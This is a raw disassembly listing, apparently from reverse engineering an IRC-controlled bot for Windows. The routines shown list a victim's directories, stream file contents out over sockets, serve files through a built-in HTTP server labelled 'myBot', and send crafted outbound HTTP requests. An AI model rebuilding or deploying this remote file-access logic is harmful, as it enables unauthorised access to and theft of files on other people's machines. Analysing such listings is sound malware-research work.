		sub	eax, edx
		add	eax, 0FFFFFFFDh
		cmp	eax, ebx
		jz	short loc_4043BA


loc_4043AE:				; CODE XREF: sub_4041E2+1D6j
		mov	ecx, [ebp+arg_C]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_4043BA
		dec	eax
		jnz	short loc_4043AE


loc_4043BA:				; CODE XREF: sub_4041E2+1CAj
					; sub_4041E2+1D3j
		inc	eax
		push	eax
		push	[ebp+arg_C]
		lea	eax, [ebp+var_598]
		push	eax
		call	sub_414670
		lea	eax, [ebp+var_598]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp+var_24C]
		push	esi
		push	eax
		call	sub_41483D
		lea	eax, [ebp+var_24C]
		add	esp, 1Ch
		lea	ecx, [eax+1]


loc_4043F0:				; CODE XREF: sub_4041E2+213j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_4043F0
		push	ebx
		sub	eax, ecx
		push	eax
		lea	eax, [ebp+var_24C]
		push	eax
		push	[ebp+arg_4]
		call	dword_43587C	; send


loc_40440B:				; CODE XREF: sub_4041E2+19Fj
					; sub_4041E2+1B4j
		lea	eax, [ebp+var_38C]
		push	eax
		push	edi
		call	ds:dword_420054	; FindFirstFileA
		lea	ecx, [ebp+var_38C]
		push	ecx
		push	eax
		mov	[ebp+var_C], eax
		call	ds:dword_420050	; FindNextFileA
		test	eax, eax
		jz	loc_404838
		mov	ebx, 1FFh


loc_404437:				; CODE XREF: sub_4041E2+650j
		cmp	[ebp+var_38C], 0
		jz	loc_404820
		push	3
		mov	edi, offset a__	; ".."
		lea	esi, [ebp+var_360]
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jz	loc_404820
		push	2
		mov	edi, offset a__0 ; "."
		lea	esi, [ebp+var_360]
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jz	loc_404820
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_378]
		push	eax
		call	ds:dword_420068	; FileTimeToLocalFileTime
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		call	ds:dword_420064	; FileTimeToSystemTime
		mov	ax, [ebp+var_14]
		cmp	ax, 0Ch
		mov	ecx, offset aPm	; "PM"
		ja	loc_404535
		mov	ecx, offset aAm	; "AM"
		movzx	eax, ax


loc_4044AE:				; CODE XREF: sub_4041E2+359j
		push	ecx
		movzx	ecx, [ebp+var_12]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_1C]
		push	eax
		movzx	eax, [ebp+var_16]
		push	eax
		movzx	eax, [ebp+var_1A]
		push	eax
		lea	eax, [ebp+var_4C]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax
		call	sub_4145E5
		add	esp, 20h
		xor	edi, edi
		test	byte ptr [ebp+var_38C],	10h
		jz	loc_404684
		inc	[ebp+var_8]
		cmp	[ebp+arg_8], edi
		jz	short loc_404540
		lea	eax, [ebp+var_360]
		push	eax
		push	offset aS_0	; "<%s>"
		lea	eax, [ebp+var_494]
		push	106h
		push	eax
		call	sub_41483D
		lea	eax, [ebp+var_4C]
		push	eax
		lea	eax, [ebp+var_494]
		push	eax
		push	[ebp+arg_8]
		lea	eax, [ebp+var_24C]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		push	200h
		push	eax
		call	sub_41483D
		add	esp, 28h
		jmp	loc_4047EC
; ---------------------------------------------------------------------------


loc_404535:				; CODE XREF: sub_4041E2+2BEj
		movzx	eax, ax
		sub	eax, 0Ch
		jmp	loc_4044AE
; ---------------------------------------------------------------------------


loc_404540:				; CODE XREF: sub_4041E2+308j
		cmp	[ebp+arg_C], edi
		jz	loc_40463E
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_24C]
		push	ebx
		push	eax
		call	sub_41483D
		lea	eax, [ebp+var_24C]
		add	esp, 10h
		lea	esi, [eax+1]


loc_40456C:				; CODE XREF: sub_4041E2+38Fj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_40456C
		push	edi
		sub	eax, esi
		push	eax
		lea	eax, [ebp+var_24C]
		push	eax
		push	[ebp+arg_4]
		call	dword_43587C	; send
		lea	eax, [ebp+var_360]
		push	eax
		push	[ebp+arg_C]
		lea	eax, [ebp+var_24C]
		push	offset aSS_2	; "%s%s/"
		push	ebx
		push	eax
		call	sub_41483D
		lea	eax, [ebp+var_24C]
		add	esp, 14h
		lea	esi, [eax+1]


loc_4045AF:				; CODE XREF: sub_4041E2+3D2j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_4045AF
		push	edi
		sub	eax, esi
		push	eax
		lea	eax, [ebp+var_24C]
		push	eax
		push	[ebp+arg_4]
		call	dword_43587C	; send
		lea	eax, [ebp+var_360]
		lea	esi, [eax+1]


loc_4045D3:				; CODE XREF: sub_4041E2+3F6j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_4045D3
		sub	eax, esi
		cmp	eax, 1Eh
		lea	eax, [ebp+var_360]
		push	eax
		lea	eax, [ebp+var_24C]
		jbe	short loc_4045F5
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_4045FA
; ---------------------------------------------------------------------------


loc_4045F5:				; CODE XREF: sub_4041E2+40Aj
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"


loc_4045FA:				; CODE XREF: sub_4041E2+411j
		push	ebx
		push	eax
		call	sub_41483D
		lea	eax, [ebp+var_24C]
		add	esp, 10h
		lea	edx, [eax+1]


loc_40460D:				; CODE XREF: sub_4041E2+430j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_40460D
		push	edi
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_24C]
		push	eax
		push	[ebp+arg_4]
		call	dword_43587C	; send
		push	3Ch
		lea	eax, [ebp+var_4C]
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	ebx
		jmp	loc_4047DD
; ---------------------------------------------------------------------------


loc_40463E:				; CODE XREF: sub_4041E2+361j
		lea	eax, [ebp+var_360]
		push	eax
		push	offset aS_0	; "<%s>"
		lea	eax, [ebp+var_494]
		push	106h
		push	eax
		call	sub_41483D
		lea	eax, [ebp+var_4C]
		push	eax
		lea	eax, [ebp+var_494]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"


loc_40466B:				; CODE XREF: sub_4041E2+4CAj
		lea	eax, [ebp+var_24C]
		push	200h
		push	eax
		call	sub_41483D
		add	esp, 24h
		jmp	loc_4047EC
; ---------------------------------------------------------------------------


loc_404684:				; CODE XREF: sub_4041E2+2FCj
		inc	[ebp+var_4]
		cmp	[ebp+arg_8], edi
		jz	short loc_4046AE
		push	edi
		push	[ebp+var_36C]
		call	sub_402B3D
		push	eax
		lea	eax, [ebp+var_4C]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		jmp	short loc_40466B
; ---------------------------------------------------------------------------


loc_4046AE:				; CODE XREF: sub_4041E2+4A8j
		cmp	[ebp+arg_C], edi
		jz	loc_4047C2
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_24C]
		push	ebx
		push	eax
		call	sub_41483D
		lea	eax, [ebp+var_24C]
		add	esp, 10h
		lea	esi, [eax+1]


loc_4046DA:				; CODE XREF: sub_4041E2+4FDj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_4046DA
		push	edi
		sub	eax, esi
		push	eax
		lea	eax, [ebp+var_24C]
		push	eax
		push	[ebp+arg_4]
		call	dword_43587C	; send
		lea	eax, [ebp+var_360]
		push	eax
		push	[ebp+arg_C]
		lea	eax, [ebp+var_24C]
		push	offset aSS	; "%s%s"
		push	ebx
		push	eax
		call	sub_41483D
		lea	eax, [ebp+var_24C]
		add	esp, 14h
		lea	esi, [eax+1]


loc_40471D:				; CODE XREF: sub_4041E2+540j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_40471D
		push	edi
		sub	eax, esi
		push	eax
		lea	eax, [ebp+var_24C]
		push	eax
		push	[ebp+arg_4]
		call	dword_43587C	; send
		lea	eax, [ebp+var_360]
		lea	esi, [eax+1]


loc_404741:				; CODE XREF: sub_4041E2+564j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_404741
		sub	eax, esi
		cmp	eax, 1Fh
		lea	eax, [ebp+var_360]
		push	eax
		lea	eax, [ebp+var_24C]
		jbe	short loc_404763
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_404768
; ---------------------------------------------------------------------------


loc_404763:				; CODE XREF: sub_4041E2+578j
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"


loc_404768:				; CODE XREF: sub_4041E2+57Fj
		push	ebx
		push	eax
		call	sub_41483D
		lea	eax, [ebp+var_24C]
		add	esp, 10h
		lea	edx, [eax+1]


loc_40477B:				; CODE XREF: sub_4041E2+59Ej
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_40477B
		push	edi
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_24C]
		push	eax
		push	[ebp+arg_4]
		call	dword_43587C	; send
		mov	eax, [ebp+var_36C]
		shr	eax, 0Ah
		push	eax
		push	3Ch
		lea	eax, [ebp+var_4C]
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		lea	eax, [ebp+var_24C]
		push	ebx
		push	eax
		call	sub_41483D
		add	esp, 1Ch
		jmp	short loc_4047EC
; ---------------------------------------------------------------------------


loc_4047C2:				; CODE XREF: sub_4041E2+4CFj
		push	[ebp+var_36C]
		lea	eax, [ebp+var_4C]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"
		push	200h


loc_4047DD:				; CODE XREF: sub_4041E2+457j
		lea	eax, [ebp+var_24C]
		push	eax
		call	sub_41483D
		add	esp, 18h


loc_4047EC:				; CODE XREF: sub_4041E2+34Ej
					; sub_4041E2+49Dj ...
		lea	eax, [ebp+var_24C]
		lea	edx, [eax+1]


loc_4047F5:				; CODE XREF: sub_4041E2+618j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_4047F5
		push	edi
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_24C]
		push	eax
		push	[ebp+arg_4]
		call	dword_43587C	; send
		cmp	[ebp+arg_8], edi
		jz	short loc_404820
		push	0FAh
		call	ds:dword_420000	; Sleep


loc_404820:				; CODE XREF: sub_4041E2+25Cj
					; sub_4041E2+274j ...
		lea	eax, [ebp+var_38C]
		push	eax
		push	[ebp+var_C]
		call	ds:dword_420050	; FindNextFileA
		test	eax, eax
		jnz	loc_404437


loc_404838:				; CODE XREF: sub_4041E2+24Aj
		push	[ebp+var_C]
		call	ds:dword_42004C	; FindClose
		xor	esi, esi
		cmp	[ebp+arg_8], esi
		jz	short loc_40487D
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_402B3D
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_4]
		cdq
		push	edx
		push	eax
		call	sub_402B3D
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+arg_8]
		lea	eax, [ebp+var_24C]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax
		call	sub_4145E5
		add	esp, 14h
		jmp	short loc_4048AB
; ---------------------------------------------------------------------------


loc_40487D:				; CODE XREF: sub_4041E2+664j
		cmp	[ebp+arg_C], esi
		lea	eax, [ebp+var_24C]
		jz	short loc_404897
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax
		call	sub_4145E5
		pop	ecx
		pop	ecx
		jmp	short loc_4048AB
; ---------------------------------------------------------------------------


loc_404897:				; CODE XREF: sub_4041E2+6A4j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax
		call	sub_4145E5
		add	esp, 10h


loc_4048AB:				; CODE XREF: sub_4041E2+699j
					; sub_4041E2+6B3j
		lea	eax, [ebp+var_24C]
		lea	edx, [eax+1]


loc_4048B4:				; CODE XREF: sub_4041E2+6D7j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_4048B4
		push	esi
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_24C]
		push	eax
		push	[ebp+arg_4]
		call	dword_43587C	; send
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_4041E2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4048D6	proc near		; CODE XREF: sub_404AFC+12Bp

var_40C		= byte ptr -40Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 40Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	[ebp+var_4], 400h
		mov	[ebp+var_C], esi
		call	ds:dword_420044	; CreateFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_404993
		push	esi
		push	ebx
		call	ds:dword_420094	; GetFileSize
		mov	edx, eax
		cmp	edx, esi
		mov	[ebp+var_8], edx
		jz	short loc_40498C
		push	edi
		jmp	short loc_404924
; ---------------------------------------------------------------------------


loc_404921:				; CODE XREF: sub_4048D6+B3j
		mov	edx, [ebp+var_8]


loc_404924:				; CODE XREF: sub_4048D6+49j
		xor	eax, eax
		cmp	[ebp+var_4], edx
		mov	ecx, 100h
		lea	edi, [ebp+var_40C]
		rep stosd
		jbe	short loc_40493B
		mov	[ebp+var_4], edx


loc_40493B:				; CODE XREF: sub_4048D6+60j
		push	2
		push	esi
		neg	edx
		push	edx
		push	ebx
		call	ds:dword_420090	; SetFilePointer
		push	esi
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_40C]
		push	eax
		push	ebx
		call	ds:dword_42008C	; ReadFile
		push	esi
		push	[ebp+var_4]
		lea	eax, [ebp+var_40C]
		push	eax
		push	[ebp+arg_0]
		call	dword_43587C	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_404986
		call	dword_4358A0	; WSAGetLastError
		cmp	eax, 2733h
		jnz	short loc_40498B
		xor	eax, eax


loc_404986:				; CODE XREF: sub_4048D6+9Fj
		sub	[ebp+var_8], eax
		jnz	short loc_404921


loc_40498B:				; CODE XREF: sub_4048D6+ACj
		pop	edi


loc_40498C:				; CODE XREF: sub_4048D6+46j
		push	ebx
		call	ds:dword_42003C	; CloseHandle


loc_404993:				; CODE XREF: sub_4048D6+31j
		pop	esi
		pop	ebx
		leave
		retn
sub_4048D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404997	proc near		; CODE XREF: sub_404C6A+182p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	ebx
		mov	ecx, eax
		push	esi
		xor	esi, esi
		lea	edx, [ecx+1]


loc_4049A6:				; CODE XREF: sub_404997+14j
		mov	bl, [ecx]
		inc	ecx
		test	bl, bl
		jnz	short loc_4049A6
		sub	ecx, edx
		mov	[ebp+arg_0], ecx
		jz	short loc_4049D1


loc_4049B4:				; CODE XREF: sub_404997+38j
		cmp	byte ptr [esi+eax], 5Ch
		jnz	short loc_4049BE
		mov	byte ptr [esi+eax], 2Fh


loc_4049BE:				; CODE XREF: sub_404997+21j
		mov	ecx, eax
		inc	esi
		lea	edx, [ecx+1]


loc_4049C4:				; CODE XREF: sub_404997+32j
		mov	bl, [ecx]
		inc	ecx
		test	bl, bl
		jnz	short loc_4049C4
		sub	ecx, edx
		cmp	esi, ecx
		jb	short loc_4049B4


loc_4049D1:				; CODE XREF: sub_404997+1Bj
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_404997	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4049D5	proc near		; CODE XREF: sub_408A18+5232p

var_4A4		= byte ptr -4A4h
var_314		= byte ptr -314h
var_114		= byte ptr -114h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A4h
		push	edi
		lea	eax, [ebp+var_4A4]
		push	eax
		push	101h
		call	dword_4357F8	; WSAStartup
		push	6
		push	1
		push	2
		call	dword_4357E8	; socket
		push	[ebp+arg_14]
		mov	[ebp+var_4], eax
		xor	eax, eax
		lea	edi, [ebp+var_14]
		stosd
		stosd
		stosd
		stosd
		mov	[ebp+var_14], 2
		call	dword_435934	; ntohs
		push	[ebp+arg_10]
		mov	[ebp+var_12], ax
		call	sub_407C3B
		pop	ecx
		mov	[ebp+var_10], eax
		push	10h
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+var_4]
		call	dword_4357A0	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_404AB5
		mov	eax, [ebp+arg_20]
		test	eax, eax
		jnz	short loc_404A48
		mov	eax, (offset asc_420AE8+2)


loc_404A48:				; CODE XREF: sub_4049D5+6Cj
		push	ebx
		push	esi
		push	[ebp+arg_10]
		mov	ebx, 100h
		push	eax
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_114]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	ebx
		push	eax
		call	sub_41483D
		lea	eax, [ebp+var_114]
		add	esp, 1Ch
		lea	esi, [eax+1]


loc_404A77:				; CODE XREF: sub_4049D5+A7j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_404A77
		push	0
		sub	eax, esi
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		push	[ebp+var_4]
		call	dword_43587C	; send
		push	40h
		pop	ecx
		push	0
		push	ebx
		lea	eax, [ebp+var_114]
		push	eax
		push	[ebp+var_4]
		xor	esi, esi
		lea	edi, [ebp+var_114]
		rep movsd
		call	dword_43575C	; recv
		pop	esi
		pop	ebx


loc_404AB5:				; CODE XREF: sub_4049D5+65j
		push	[ebp+var_4]
		call	dword_4358F4	; closesocket
		call	dword_435900	; WSACleanup
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_314]
		push	eax
		call	sub_4145E5
		cmp	[ebp+arg_C], 0
		pop	ecx
		pop	ecx
		pop	edi
		jnz	short locret_404AFA
		push	0
		push	[ebp+arg_8]
		lea	eax, [ebp+var_314]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4056FB
		add	esp, 14h

locret_404AFA:				; CODE XREF: sub_4049D5+109j
		leave
		retn
sub_4049D5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_404AFC	proc near		; DATA XREF: sub_404C6A+24Eo

var_1654	= byte ptr -1654h
var_654		= byte ptr -654h
var_550		= byte ptr -550h
var_44C		= dword	ptr -44Ch
var_3C8		= byte ptr -3C8h
var_2C4		= byte ptr -2C4h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_A4		= dword	ptr -0A4h
var_9C		= byte ptr -9Ch
var_68		= byte ptr -68h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	eax, 1654h
		lea	ebp, [esp-74h]
		call	sub_414800
		mov	eax, [ebp+74h+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, eax
		mov	ecx, 0ECh
		lea	edi, [ebp+74h+var_44C]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp+74h+var_3C8]
		push	eax
		lea	eax, [ebp+74h+var_550]
		push	eax
		call	sub_4145E5
		lea	eax, [ebp+74h+var_2C4]
		push	eax
		lea	eax, [ebp+74h+var_654]
		push	eax
		call	sub_4145E5
		xor	ebx, ebx
		add	esp, 10h
		cmp	[ebp+74h+var_A4], ebx
		lea	eax, [ebp+74h+var_9C]
		jz	short loc_404B64
		push	offset aTextHtml ; "text/html"
		jmp	short loc_404B69
; ---------------------------------------------------------------------------


loc_404B64:				; CODE XREF: sub_404AFC+5Fj
		push	offset aApplicationOct ; "application/octet-stream"


loc_404B69:				; CODE XREF: sub_404AFC+66j
		push	eax
		call	sub_4145E5
		pop	ecx
		pop	ecx
		push	46h
		lea	eax, [ebp+74h+var_68]
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	ebx
		push	ebx
		mov	esi, 409h
		push	esi
		call	ds:dword_42009C	; GetDateFormatA
		push	1Eh
		lea	eax, [ebp+74h+var_20]
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		call	ds:dword_420098	; GetTimeFormatA
		cmp	[ebp+74h+var_B8], 0FFFFFFFFh
		lea	eax, [ebp+74h+var_20]
		push	eax
		lea	eax, [ebp+74h+var_68]
		push	eax
		lea	eax, [ebp+74h+var_20]
		push	eax
		lea	eax, [ebp+74h+var_68]
		push	eax
		lea	eax, [ebp+74h+var_20]
		push	eax
		lea	eax, [ebp+74h+var_68]
		push	eax
		lea	eax, [ebp+74h+var_9C]
		jnz	short loc_404BD6
		push	eax
		lea	eax, [ebp+74h+var_1654]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_4145E5
		add	esp, 24h
		jmp	short loc_404BEE
; ---------------------------------------------------------------------------


loc_404BD6:				; CODE XREF: sub_404AFC+C1j
		push	[ebp+74h+var_B8]
		push	eax
		lea	eax, [ebp+74h+var_1654]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_4145E5
		add	esp, 28h


loc_404BEE:				; CODE XREF: sub_404AFC+D8j
		lea	eax, [ebp+74h+var_1654]
		lea	edx, [eax+1]


loc_404BF7:				; CODE XREF: sub_404AFC+100j
		mov	cl, [eax]
		inc	eax
		cmp	cl, bl
		jnz	short loc_404BF7
		push	ebx
		sub	eax, edx
		push	eax
		lea	eax, [ebp+74h+var_1654]
		push	eax
		push	[ebp+74h+var_44C]
		call	dword_43587C	; send
		cmp	[ebp+74h+var_A4], ebx
		jnz	short loc_404C30
		lea	eax, [ebp+74h+var_550]
		push	eax
		push	[ebp+74h+var_44C]
		call	sub_4048D6
		pop	ecx
		pop	ecx
		jmp	short loc_404C4D
; ---------------------------------------------------------------------------


loc_404C30:				; CODE XREF: sub_404AFC+11Cj
		lea	eax, [ebp+74h+var_654]
		push	eax
		push	ebx
		push	[ebp+74h+var_44C]
		lea	eax, [ebp+74h+var_550]
		push	eax
		call	sub_4041E2
		add	esp, 10h


loc_404C4D:				; CODE XREF: sub_404AFC+132j
		push	[ebp+74h+var_44C]
		call	dword_4358F4	; closesocket
		push	[ebp+74h+var_B4]
		call	sub_412735
		pop	ecx
		push	ebx
		call	ds:dword_420014	; ExitThread
		int	3		; Trap to Debugger
sub_404AFC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404C6A	proc near		; CODE XREF: sub_404F24+37Cp

var_8C4		= byte ptr -8C4h
var_6C4		= dword	ptr -6C4h
var_640		= byte ptr -640h
var_53C		= byte ptr -53Ch
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= byte ptr -314h
var_211		= byte ptr -211h
var_210		= byte ptr -210h
var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_10A		= byte ptr -10Ah
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		push	41h
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_210]
		rep stosd
		mov	eax, [ebp+arg_8]
		xor	esi, esi
		cmp	byte ptr [eax],	2Fh
		mov	[ebp+var_4], esi
		push	eax
		jz	short loc_404C98
		push	offset aS_8	; "\\%s"
		jmp	short loc_404CA0
; ---------------------------------------------------------------------------


loc_404C98:				; CODE XREF: sub_404C6A+25j
		mov	byte ptr [eax],	5Ch
		push	offset aS_2	; "%s"


loc_404CA0:				; CODE XREF: sub_404C6A+2Cj
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_4145E5
		lea	eax, [ebp+var_10C]
		add	esp, 0Ch
		xor	edi, edi
		lea	ecx, [eax+1]


loc_404CBA:				; CODE XREF: sub_404C6A+55j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_404CBA
		sub	eax, ecx
		mov	[ebp+arg_8], eax
		jz	short loc_404D40
		push	2
		pop	ebx


loc_404CCB:				; CODE XREF: sub_404C6A+D4j
		lea	eax, [ebp+var_10C]
		lea	edx, [eax+1]


loc_404CD4:				; CODE XREF: sub_404C6A+6Fj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_404CD4
		sub	eax, edx
		cmp	ebx, eax
		jnb	short loc_404D0D
		cmp	[ebp+esi+var_10C], 25h
		jnz	short loc_404D0D
		cmp	[ebp+esi+var_10B], 32h
		jnz	short loc_404D0D
		cmp	[ebp+esi+var_10A], 30h
		jnz	short loc_404D0D
		inc	esi
		inc	esi
		inc	ebx
		mov	[ebp+edi+var_210], 20h
		inc	ebx
		jmp	short loc_404D27
; ---------------------------------------------------------------------------


loc_404D0D:				; CODE XREF: sub_404C6A+75j
					; sub_404C6A+7Fj ...
		mov	al, [ebp+esi+var_10C]
		cmp	al, 2Fh
		jnz	short loc_404D1D
		push	5Ch
		pop	eax
		jmp	short loc_404D20
; ---------------------------------------------------------------------------


loc_404D1D:				; CODE XREF: sub_404C6A+ACj
		movsx	eax, al


loc_404D20:				; CODE XREF: sub_404C6A+B1j
		mov	[ebp+edi+var_210], al


loc_404D27:				; CODE XREF: sub_404C6A+A1j
		inc	esi
		lea	eax, [ebp+var_10C]
		inc	ebx
		inc	edi
		lea	ecx, [eax+1]


loc_404D33:				; CODE XREF: sub_404C6A+CEj
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_404D33
		sub	eax, ecx
		cmp	esi, eax
		jb	short loc_404CCB


loc_404D40:				; CODE XREF: sub_404C6A+5Cj
		lea	eax, [ebp+var_210]
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+var_314]
		push	offset aSS	; "%s%s"
		push	eax
		call	sub_4145E5
		lea	eax, [ebp+var_314]
		push	offset asc_4216D8 ; "\n"
		push	eax
		call	sub_415459
		add	esp, 18h
		lea	eax, [ebp+var_314]
		push	eax
		call	ds:dword_4200A0	; GetFileAttributesA
		xor	ebx, ebx
		inc	ebx
		cmp	eax, 10h
		jz	short loc_404D91
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_404D94
		push	[ebp+arg_0]
		jmp	loc_404E19
; ---------------------------------------------------------------------------


loc_404D91:				; CODE XREF: sub_404C6A+118j
		mov	[ebp+var_4], ebx


loc_404D94:				; CODE XREF: sub_404C6A+11Dj
		cmp	[ebp+edi+var_211], 5Ch
		jnz	short loc_404DA1
		mov	[ebp+var_4], ebx


loc_404DA1:				; CODE XREF: sub_404C6A+132j
		mov	eax, [ebp+arg_0]
		xor	edi, edi
		cmp	[ebp+var_4], edi
		mov	[ebp+var_6C4], eax
		mov	[ebp+var_318], edi
		jz	short loc_404E24
		cmp	[ebp+arg_C], edi
		jz	short loc_404E18
		lea	edi, [ebp+var_314]
		dec	edi


loc_404DC3:				; CODE XREF: sub_404C6A+15Fj
		mov	al, [edi+1]
		inc	edi
		test	al, al
		jnz	short loc_404DC3
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		mov	esi, offset asc_421994 ; "*"
		push	eax
		movsw
		call	sub_4145E5
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_404997
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_53C]
		push	eax
		call	sub_4145E5
		or	[ebp+var_330], 0FFFFFFFFh
		add	esp, 14h
		mov	[ebp+var_31C], ebx
		xor	edi, edi
		jmp	short loc_404E73
; ---------------------------------------------------------------------------


loc_404E18:				; CODE XREF: sub_404C6A+150j
		push	eax


loc_404E19:				; CODE XREF: sub_404C6A+122j
		call	dword_4358F4	; closesocket
		jmp	loc_404F0B
